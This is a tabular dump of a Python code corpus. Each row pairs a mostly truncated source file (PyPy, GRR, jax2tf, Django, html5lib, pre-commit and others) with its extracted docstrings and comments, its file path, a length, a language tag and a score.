Scopes and Namespaces
When an object is assigned to a variable # a = 10
that variable points to some object
and we say that the variable (name) is bound to that object
That object can be accessed using that name in various parts of our code
# ### I can't refere... | 1,902 | en | 0.852117 |
"""
=============================================================================
Various Agglomerative Clustering on a 2D embedding of digits
=============================================================================
An illustration of various linkage option for agglomerative clustering on
a 2D embedding of the di... | examples/cluster/plot_digits_linkage.py | 3,092 | =============================================================================
Various Agglomerative Clustering on a 2D embedding of digits
=============================================================================
An illustration of various linkage option for agglomerative clustering on
a 2D embedding of the digits... | 1,364 | en | 0.755457 |
from pypy.objspace.std.stdtypedef import *
from pypy.objspace.std.basestringtype import basestring_typedef
from sys import maxint
from pypy.rlib.objectmodel import specialize
def wrapstr(space, s):
from pypy.objspace.std.stringobject import W_StringObject
from pypy.objspace.std.ropeobject import rope, W_RopeO... | pypy/objspace/std/stringtype.py | 18,300 | share characters and empty string annotator hint: a single char only share the empty string XXX heuristic, should be improved!unicode mimic not supported now ____________________________________________________________ NB. the default value of w_object is really a *wrapped* empty string: there is gateway magic at w... | 538 | en | 0.566113 |
from __future__ import absolute_import
from types import ModuleType
class MethodDispatcher(dict):
u"""Dict with 2 special properties:
On initiation, keys that are lists, sets or tuples are converted to
multiple keys so accessing any one of the items in the original
list-like object returns the matchi... | python/html5lib/utils.py | 2,627 | Dict with 2 special properties:
On initiation, keys that are lists, sets or tuples are converted to
multiple keys so accessing any one of the items in the original
list-like object returns the matching value
md = MethodDispatcher({("foo", "bar"):"baz"})
md["foo"] == "baz"
A default value which can be set through the... | 676 | en | 0.842082 |
import os
__author__ = "Aaron Koeppel"
__version__ = 1.0
def xmlMarkup(games, team_ab, team_name, team_record):
'''Markup the RSS feed using the data obtained.
:param games: list of games that the team played this season
:type games: list of GameData
:param team_ab: the team's abbreviated name
:type ... | markup.py | 1,496 | Markup the RSS feed using the data obtained.
:param games: list of games that the team played this season
:type games: list of GameData
:param team_ab: the team's abbreviated name
:type team_ab: string
:param team_name: the team's name
:type team_name: string | 260 | en | 0.898845 |
#!/usr/bin/env python
"""Client utilities."""
import logging
import sys
from grr_response_core.lib import utils
from grr_response_core.lib.rdfvalues import client_fs as rdf_client_fs
from grr_response_core.lib.rdfvalues import paths as rdf_paths
# pylint: disable=g-import-not-at-top
if sys.platform == "win32":
fro... | grr/client/grr_response_client/client_utils.py | 3,344 | Builds a stat entry object from a given path.
Args:
path: A path (string value) to stat.
pathspec: A `PathSpec` corresponding to the `path`.
ext_attrs: Whether to include extended file attributes in the result.
Returns:
`StatEntry` object.
Build a stat entry object from a given stat object.
Args:
stat: A `... | 878 | en | 0.772844 |
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | jax/experimental/jax2tf/jax2tf.py | 99,352 | Trace class that underlies the jax2tf transformation.
We are going to ensure that jax2tf.convert is never nested inside other
transformations. This is sufficient for intended use cases (converting
fully-transformed JAX code). It also simplifies our job because we do not have
to handle situations where we apply primiti... | 29,260 | en | 0.780508 |
from django.contrib.auth.decorators import login_required
from django.shortcuts import render, get_object_or_404, redirect
from django.template import loader
from django.http import HttpResponse
from django import template
from mainsite.forms import NewsCreate
from mainsite.models import News, ContactForm, Issue
@lo... | app/views.py | 4,252 | All resource paths end in .html. Pick out the html file name from the url. And load that template. | 98 | en | 0.812652 |
# Generated by Django 2.2.3 on 2019-08-07 13:29
from django.db import migrations, models
import django.db.models.deletion
import wagtail.core.blocks
import wagtail.core.fields
class Migration(migrations.Migration):
dependencies = [
("wagtailimages", "0001_squashed_0021"),
("wagtailcore", "0041_g... | cms/migrations/0041_certificatepage_signatoryindexpage_signatorypage.py | 5,071 | Generated by Django 2.2.3 on 2019-08-07 13:29 | 45 | en | 0.612438 |
#!python3.6
#coding:utf-8
#regex.finditer(string[, pos[, endpos]])
import re
regex = re.compile(r'^ab')
print(regex)
for target in ['abcdefg', 'cdefg', 'abcdabcd', 'cdabAB', 'ABcd']:
print(target, regex.finditer(target))
print()
regex = re.compile(r'^ab', re.IGNORECASE)
print(regex)
for target in ['abcdefg', 'cdef... | 13/00/finditer.py | 1,673 | !python3.6coding:utf-8regex.finditer(string[, pos[, endpos]])AttributeError: 'list' object has no attribute 'expand' | 116 | en | 0.456734 |
import numpy as np
from .transform import sph2vec, vec2sph
def angle_between(ang1, ang2, sign=True):
d = (ang1 - ang2 + np.pi) % (2 * np.pi) - np.pi
if not sign:
d = np.abs(d)
return d
def angdist(v1, v2, zenith=True):
if v1.shape[0] == 2:
v1 = sph2vec(v1, zenith=zenith)
if v2.sh... | sphere/distance.py | 1,142 | if d.ndim > 1: d = d.diagonal() | 35 | en | 0.119764 |
# Copyright 2020 The Maritime Whale Authors. All rights reserved.
# Use of this source code is governed by an MIT-style license that can be
# found in the LICENSE.txt file.
#
# Processes wind and vessel data. Performs simple analysis.
from match_wind_data import *
from datetime import *
from meet_and_pass import *
im... | src/process_maritime_data.py | 15,359 | Creates the channel occupancy column.
Creates 'Class' column based on vessel LOA ft.
Creates 'Course Behavior' column based on channel specific course ranges.
Checks vessel AIS types and ommits blacklisted vessel types from the
filtered data. Appends ommitted vessels' MMSI's to blacklist.txt.
Args:
df: Vessel... | 3,761 | en | 0.846651 |
import maya.mel as mm
import maya.cmds as mc
import glTools.utils.attribute
import glTools.utils.base
import glTools.utils.layer
import glTools.utils.reference
import glTools.utils.shader
import glTools.utils.shape
import glTools.utils.transform
import re
# ===========
# - Cleanup -
# ===========
def toggleCons(sta... | utils/cleanup.py | 24,973 | Return a list of all existing animCurves of a specified type.
@param curveList: List of animCurve types to consider.
@type curveList: list
@param curveTypeList: List of animCurve types to consider.
@type curveTypeList: list
Assign initialShadingGroup (lambert1) to specified geometry.
@param geoList: List of geometry to... | 8,542 | en | 0.591728 |
import torch
import torch.nn as nn
import torch.nn.functional as F
from segmentation_models_pytorch.base import modules as md
class DecoderBlock(nn.Module):
def __init__(
self,
in_channels,
skip_channels,
out_channels,
use_batchnorm=True,
attention_type=None,
)... | segmentation_models_pytorch/decoders/unet/decoder.py | 3,818 | remove first skip with same spatial resolution reverse channels to start from head of encoder computing blocks input and output channels combine decoder keyword arguments remove first skip with same spatial resolution reverse channels to start from head of encoder | 264 | en | 0.78037 |
from ampel.t3.supply.load.T3SimpleDataLoader import T3SimpleDataLoader
from ampel.core.AmpelContext import AmpelContext
def test_instantiate(core_config, patch_mongo, ampel_logger):
"""
AbsT3Loader understands all the aliases in the ampel-core config
"""
ctx = AmpelContext.load(core_config)
aliase... | ampel/test/test_T3SimpleDataLoader.py | 680 | AbsT3Loader understands all the aliases in the ampel-core config | 64 | en | 0.492394 |
<<<<<<< HEAD
# Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requir... | tensorflow/python/ops/data_flow_grad.py | 4,391 | Copyright 2015 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed ... | 694 | en | 0.822668 |
# -*- coding: utf-8 -*-
from werkzeug.exceptions import abort as _abort, HTTPException
def abort(http_status_code, **kwargs):
try:
_abort(http_status_code)
except HTTPException as e:
if len(kwargs):
e.data = kwargs
raise
| axe/utils.py | 267 | -*- coding: utf-8 -*- | 21 | en | 0.767281 |
import re
import numpy
import math
import sys
#implementing the stop words and
def extractCleanWords(review):
stopWords = ["in", "i", "me", "my", "myself", "we", "our", "ours", "ourselves", "you",
"your", "yours", "yourself", "yourselves", "he", "him", "his", "himself", "she",
"her", "hers", "hers... | NaiveBayesClassifier.py | 13,443 | implementing the stop words and used by bag of words to create the vocab dictionaryprint(len(reviewList))print("Word bank for reviews: \n{0} \n".format(vocabTokens));print(len(vocabTokens))bagOfWords(reviewFile)print(len(reviewList))print(len(vocabTokens))matrix = numpy.zeros(shape = (len(reviewList),len(vocabTokens)))... | 1,522 | en | 0.608356 |
#!/usr/bin/env python
# encoding: utf-8
"""
@author: zhanghe
@software: PyCharm
@file: rack.py
@time: 2018-04-06 18:22
"""
from __future__ import unicode_literals
from datetime import datetime
from flask import (
request,
flash,
render_template,
url_for,
redirect,
abort,
jsonify,
Blu... | app_backend/views/rack.py | 14,948 | 创建货架
:return:
货架删除
:return:
货架选项
:return:
货架编辑
货架详情
:param rack_id:
:return:
货架列表
:return:
@author: zhanghe
@software: PyCharm
@file: rack.py
@time: 2018-04-06 18:22
!/usr/bin/env python encoding: utf-8 rack_current_stats, rack_former_stats, get_distinct_brand, 定义蓝图 加载配置 文档信息 搜索条件 app.logger.info('') 表单校验失败 单独处理csrf_t... | 3,155 | zh | 0.373247 |
import argparse
import logging
import os
import sys
from typing import Any
from typing import Optional
from typing import Sequence
from typing import Union
import pre_commit.constants as C
from pre_commit import color
from pre_commit import git
from pre_commit.commands.autoupdate import autoupdate
from pre_commit.comm... | pre_commit/main.py | 14,543 | https://github.com/pre-commit/pre-commit/issues/217 On OSX, making a virtualenv using pyvenv at . causes `virtualenv` and `pip` to install packages to the wrong place. We don't want anything to deal with pyvenv `--config` was specified relative to the non-root working directory pragma: no cover (old git) https://stack... | 416 | en | 0.821993 |
# Copyright 2017-2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.:wq
#
# Licensed under the Apache License, Version 2.0 (the "License"). You
# may not use this file except in compliance with the License. A copy of
# the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "license" ... | test/sagemaker_tests/mxnet/training/resources/mnist/horovod_mnist.py | 7,357 | Copyright 2017-2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.:wq Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with the License. A copy of the License is located at http://aws.amazon.com/apache2.0/ or in the "license" file accompanying ... | 1,069 | en | 0.745968 |
import responses
from urllib.parse import urlencode
from tests.util import random_str
from tests.util import mock_http_response
from binance.spot import Spot as Client
from binance.error import ParameterRequiredError
mock_item = {"key_1": "value_1", "key_2": "value_2"}
key = random_str()
secret = random_str()
asset... | tests/spot/margin/test_margin_asset.py | 888 | Tests the API endpoint to margin asset
Tests the API endpoint to margin asset without asset | 91 | en | 0.638188 |
from collections import defaultdict
class RunningAverage:
"""
Computes exponential moving averages averages.
"""
def __init__(self, mix_rate: float = 0.95):
self.mix_rate = mix_rate
self.avgs = defaultdict(lambda: None)
def record(self, name: str, value: float, ignore_nan=True):
... | wrangl/metrics/running_avg.py | 833 | Computes exponential moving averages averages.
Args:
name: name of value.
value: value to record.
ignore_nan: ignore nan values and do not record them (they will mess up the averages). | 196 | en | 0.710018 |
import argparse
import torch
from pathlib import Path
import h5py
import logging
from types import SimpleNamespace
import cv2
import numpy as np
from tqdm import tqdm
import pprint
from . import extractors
from .utils.base_model import dynamic_load
from .utils.tools import map_tensor
'''
A set of standard configurat... | hloc/extract_features.py | 6,772 | BGR to RGB HxWxC to CxHxW HxWxC to CxHxW | 40 | en | 0.505052 |
class TokenNotFound(Exception):
"""
Indicates that a token could not be found in the database
"""
pass | backEnd/app/api/auth/exceptions.py | 118 | Indicates that a token could not be found in the database | 57 | en | 0.950246 |
import os
import unittest
from telethon.tl import TLObject
from telethon.extensions import BinaryReader
class UtilsTests(unittest.TestCase):
@staticmethod
def test_binary_writer_reader():
# Test that we can read properly
data = b'\x01\x05\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
... | telethon_tests/utils_test.py | 2,583 | Test that we can read properly +1 byte for length = 20 (%4 = 0) And then try reading it without errors (it should be unharmed!) | 127 | en | 0.726925 |
# Copyright The PyTorch Lightning team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to i... | tests/image/segmentation/test_model.py | 5,987 | Copyright The PyTorch Lightning team. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, softwar... | 689 | en | 0.865187 |
from engine.steps.IStep import IStep
from keras.models import Model
from keras import backend as K
from keras.preprocessing.image import ImageDataGenerator
from keras.optimizers import Adam
class config_model(IStep):
"""config model"""
create_Optimizer_func = None
create_loss_func = None
def __init... | source/engine/steps/config_model.py | 2,496 | config model
config model: optimizer=Adam, loss = 'categorical_crossentropy'
create loss function | 98 | en | 0.314298 |
# coding: utf-8
import re
import six
from huaweicloudsdkcore.sdk_response import SdkResponse
from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization
class ShowDomainQuotaResponse(SdkResponse):
"""
Attributes:
openapi_types (dict): The key is attribute name
... | huaweicloud-sdk-iam/huaweicloudsdkiam/v3/model/show_domain_quota_response.py | 3,079 | Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
Returns true if both objects are equal
ShowDomainQuotaResponse - a model defined in hu... | 743 | en | 0.579125 |
# -*- coding: utf-8 -*-
#
# Copyright (C) 2010-2016 PPMessage.
# Guijin Ding, dingguijin@gmail.com
#
#
from .basehandler import BaseHandler
from ppmessage.api.error import API_ERR
from ppmessage.core.constant import API_LEVEL
from ppmessage.db.models import PredefinedScript
import json
import logging
class PPMovePr... | ppmessage/api/handlers/ppmovepredefinedscriptintogroup.py | 1,573 | -*- coding: utf-8 -*- Copyright (C) 2010-2016 PPMessage. Guijin Ding, dingguijin@gmail.com | 90 | en | 0.501723 |
#!/usr/bin/env python3
# Copyright (c) 2014-2018 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test spending coinbase transactions.
The coinbase transaction in block N can appear in block
N+100... ... | test/functional/mempool_spend_coinbase.py | 2,321 | Test spending coinbase transactions.
The coinbase transaction in block N can appear in block
N+100... so is valid in the mempool when the best block
height is N+99.
This test makes sure coinbase spends that will be mature
in the next block are accepted into the memory pool,
but less mature coinbase spends are NOT.
!/... | 835 | en | 0.869919 |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from ... import _utilities
fro... | sdk/python/pulumi_azure_native/documentdb/v20200401/get_sql_resource_sql_stored_procedure.py | 5,466 | An Azure Cosmos DB storedProcedure.
An Azure Cosmos DB storedProcedure.
:param str account_name: Cosmos DB database account name.
:param str container_name: Cosmos DB container name.
:param str database_name: Cosmos DB database name.
:param str resource_group_name: The name of the resource group. The name is case ins... | 1,269 | en | 0.766132 |
import os
import sys
import time
import _ollyapi
def addscriptpath(script):
"""
Add the path part of the scriptfile to the system path to
allow modules to be loaded from the same place.
Each path is added only once.
"""
pathfound = 0
scriptpath = os.path.dirname(script)
... | python/init.py | 3,902 | Dummy file-like class that receives stout and stderr
Python tracer-based watchdog class
Activate the watchdog, with optional timeout change
Add the path part of the scriptfile to the system path to
allow modules to be loaded from the same place.
Each path is added only once.
Deactivate the watchdog
Install the trace... | 1,679 | en | 0.676365 |
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from future import standard_library
standard_library.install_aliases()
from builtins import *
from builtins import object
READS_LOCATION = 'genest... | genestack_client/unaligned_reads.py | 964 | -*- coding: utf-8 -*- | 21 | en | 0.767281 |
"""The tests for the Script component."""
# pylint: disable=protected-access
import unittest
from unittest.mock import patch, Mock
from homeassistant.components import script
from homeassistant.components.script import DOMAIN
from homeassistant.const import (
ATTR_ENTITY_ID, ATTR_NAME, SERVICE_RELOAD, SERVICE_TOGG... | tests/components/test_script.py | 8,952 | Test the Script component.
Add recorded event to set.
Add recorded event to set.
Add recorded event to set.
Reload script component.
This is a legacy helper method. Do not use it for new tests.
Set up things to be run when tests are started.
Stop down everything that was started.
Test different ways of passing in vari... | 1,013 | en | 0.81422 |
# -*- coding: utf-8 -*-
#
# Copyright (C) 2020 CERN.
# Copyright (C) 2020 Northwestern University.
#
# Flask-Resources is free software; you can redistribute it and/or modify
# it under the terms of the MIT License; see LICENSE file for more details.
from werkzeug.datastructures import MIMEAccept
from werkzeug.http im... | tests/test_content_negotiation.py | 5,795 | -*- coding: utf-8 -*- Copyright (C) 2020 CERN. Copyright (C) 2020 Northwestern University. Flask-Resources is free software; you can redistribute it and/or modify it under the terms of the MIT License; see LICENSE file for more details. Test content negotiation by Accept header NOTE: By scoping down we remove the need ... | 736 | en | 0.862127 |
# The MIT License (MIT)
#
# Copyright (c) 2015-present, vn-crypto
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy... | vnpy_deribit/__init__.py | 1,253 | The MIT License (MIT) Copyright (c) 2015-present, vn-crypto Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge,... | 1,080 | en | 0.858611 |
# Copyright(c) 2016 Nippon Telegraph and Telephone Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applic... | masakarimonitors/version.py | 2,432 | Copyright(c) 2016 Nippon Telegraph and Telephone Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed... | 728 | en | 0.846302 |
"""sukh_site_v1 URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.1/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-... | sukh_site_v1/sukh_site_v1/urls.py | 834 | sukh_site_v1 URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.1/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-bas... | 628 | en | 0.626185 |
"""
``name_index`` builds an inverted index mapping words to sets of Unicode
characters which contain that word in their names. For example::
>>> index = name_index(32, 65)
>>> sorted(index['SIGN'])
['#', '$', '%', '+', '<', '=', '>']
>>> sorted(index['DIGIT'])
['0', '1', '2', '3', '4', '5', '6', '... | 08-def-type-hints/charindex.py | 1,081 | return iterable of uppercased words
``name_index`` builds an inverted index mapping words to sets of Unicode
characters which contain that word in their names. For example::
>>> index = name_index(32, 65)
>>> sorted(index['SIGN'])
['#', '$', '%', '+', '<', '=', '>']
>>> sorted(index['DIGIT'])
['0',... | 463 | en | 0.47086 |
from typing import Any, Dict, Mapping, Optional, Set
from pydantic import validator
from transformer.transformers.abstract import ExtraHashableModel, Transformer
from transformer.transformers.flatters import Flatter, FlatterConfig, Unflatter
class ReportMissingData(Exception):
def __init__(self, keys: Set[str])... | transformer/transformers/map_keys.py | 4,040 | The MapKeys is a complete dict re-designer.
It lets you rename the keys and also restructure the entire dict. Creating new nested data where there wasn't
and also flattening data that was previously nested is possible, all that preserving the data from the input
dictionary.
This is the configuration for the MapKeys tra... | 1,261 | en | 0.850537 |
from warnings import simplefilter
simplefilter(action='ignore', category=FutureWarning)
import numpy as np
import argparse
import pandas as pd
from tqdm.auto import tqdm
from datetime import datetime
import seaborn as sns
import matplotlib.pyplot as plt
from utils.functions import compute_exact_tau, compute_exact_tau... | acore/classifier_power_multid_truth.py | 6,642 | Changing values if debugging Get the correct functions Loop over repetitions and classifiers Each time we train the different classifiers, we build the intervals and we record whether the point is in or not. Creating sample to check entropy about TRUE CONFIDENCE INTERVAL print('------ Calculate true Confidence Interval... | 511 | en | 0.765837 |
"""
"""
# Created on 2016.08.09
#
# Author: Giovanni Cannata
#
# Copyright 2016, 2017 Giovanni Cannata
#
# This file is part of ldap3.
#
# ldap3 is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published
# by the Free Software Foundat... | lib/python2.7/site-packages/ldap3/protocol/formatters/validators.py | 3,893 | Created on 2016.08.09 Author: Giovanni Cannata Copyright 2016, 2017 Giovanni Cannata This file is part of ldap3. ldap3 is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at... | 1,320 | en | 0.867289 |
import py
from ctypes import *
from support import BaseCTypesTestChecker
import os
import ctypes
signed_int_types = (c_byte, c_short, c_int, c_long, c_longlong)
unsigned_int_types = (c_ubyte, c_ushort, c_uint, c_ulong, c_ulonglong)
int_types = unsigned_int_types + signed_int_types
def setup_module(mod):
import ... | idea2/pypyjs-3/deps/pypy/pypy/module/test_lib_pypy/ctypes_tests/test_bitfields.py | 8,311 | bit fields are not allowed on non-integer types. anonymous bit-fields gave a strange error message | 98 | en | 0.763951 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.